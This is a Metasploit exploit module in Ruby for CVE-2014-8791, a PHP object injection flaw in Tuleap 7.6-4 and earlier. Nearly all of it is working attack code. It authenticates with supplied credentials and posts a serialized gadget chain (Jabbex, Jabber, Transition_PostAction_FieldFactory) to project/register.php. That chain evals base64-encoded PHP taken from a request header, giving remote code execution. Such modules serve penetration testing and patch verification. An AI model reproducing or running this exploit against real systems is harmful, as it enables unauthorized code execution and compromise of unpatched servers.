##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tuleap PHP Unserialize Code Execution',
'Description' => %q{
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
abused to allow authenticated users to execute arbitrary code with the permissions of the
web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
file. The exploit abuses the destructor method from the Jabbex class in order to reach a
call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from
the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
order to work, the target must have the 'sys_create_project_in_one_step' option disabled.
},
'License' => MSF_LICENSE,
'Author' => 'EgiX',
'References' =>
[
['CVE', '2014-8791'],
['OSVDB', '115128'],
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => 'Nov 27 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
Opt::RPORT(443)
], self.class)
end
def check
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print #{flag};")
if res and res.body and res.body.to_s =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def do_login()
print_status("#{peer} - Logging in...")
username = datastore['USERNAME']
password = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
'vars_post' => {'form_loginname' => username, 'form_pw' => password}
})
unless res && res.code == 302
fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
end
print_status("#{peer} - Login successful with #{username}:#{password}")
res.get_cookies
end
def exec_php(php_code)
session_cookies = do_login()
chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'project/register.php'),
'cookie' => session_cookies,
'vars_post' => {'data' => chain},
'headers' => {'payload' => Rex::Text.encode_base64(php_code)}
}, 3)
end
def exploit
print_status("#{peer} - Exploiting the PHP object injection...")
exec_php(payload.encoded)
end
end
